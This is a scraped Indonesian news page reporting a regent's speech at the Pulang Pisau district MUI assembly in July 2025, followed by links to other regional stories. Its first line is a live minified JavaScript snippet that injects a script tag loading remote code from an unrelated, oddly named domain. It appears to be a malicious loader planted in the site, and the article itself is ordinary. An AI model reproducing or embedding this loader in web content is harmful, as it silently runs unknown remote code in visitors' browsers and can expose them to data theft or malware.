(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, PULANG PISAU – Bupati Pulang Pisau, H Ahmad Rifa’i menghadiri Musyawarah Daerah (Musda) V Majelis Ulama Indonesia (MUI) Kabupaten Pulang Pisau yang berlangsung di Aula Disbudporapar, Sabtu (12/7/2025).
H Ahmad Rifa’i mengatakan bahwa pelaksanaan Musda ini bukan hanya menjadi wadah evaluasi, koordinasi, dan rekonsiliasi antar pengurus MUI, tetapi juga sebagai momentum untuk menguatkan peran ulama dalam pembangunan moral dan akhlak masyarakat.
“Kami berharap Musda menjadi saat yang tepat bagi pengurus untuk melakukan evaluasi, koordinasi, juga rekonsiliasi, tetapi memperkuat peran ulama dalam pembangunan moral dan akhlak serta rumusan program yang dapat mempercepat terwujudnya masyarakat Pulang Pisau Jaya yakni Jujur, Amanah, Yakin, Aman,” ujar Rifa’i.
Baca juga: Ikhwansyah Dilantik sebagai Pj Sekda Banjar, Bupati Tegaskan Tak Ada Pengusiran Wartawan
Musda V MUI Kabupaten Pulang Pisau yang mengusung tema “Meneguhkan Peran Majelis Ulama Indonesia sebagai Khidmad Ummah Menuju Pulang Pisau Jaya”, menurut Ahmad Rifa’i menjadi ajang penting dalam merumuskan program kerja dan membentuk kepengurusan baru yang visioner dan produktif.
Bupati Pulang Pisau menegaskan bahwa pemerintah daerah terus memberikan dukungan terhadap kegiatan keagamaan dan rumah ibadah, termasuk dalam bentuk penguatan fasilitas, sinergitas pembinaan umat, dan mendorong iklim usaha masyarakat berbasis syariah.
“Pemerintah menaruh harapan dalam pelaksanaan Musda ini terbentuk pimpinan dan kepengurusan MUI Kabupaten Pulang Pisau yang memiliki visi misi membuat dan menjalankan program kerja organisasinya,” lanjutnya.
Baca juga: PLN-SEB Perkuat Kolaborasi Lintas Negara untuk Keandalan Sistem Kelistrikan Kalimantan
Di akhir sambutannya, Bupati menegaskan bahwa keberhasilan MUI Pulang Pisau ke depan akan sangat bergantung pada kinerja kolektif pengurus yang terbentuk melalui Musda ini.
“Untuk itu laksanakanlah Musda ini dengan sebaik-baiknya, dengan tetap bersandar pada anggaran dasar dan anggaran rumah tangga yang ada, serta tetap mengedepankan prinsip musyawarah mufakat dan nilai-nilai Islam yang Rahmatan Lil ‘Alamin,” tutup Ahmad Rifa’i. (Kanalkalimantan.com/bahrawi)
Reporter: bahrawi
Editor: kk
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More
This website uses cookies.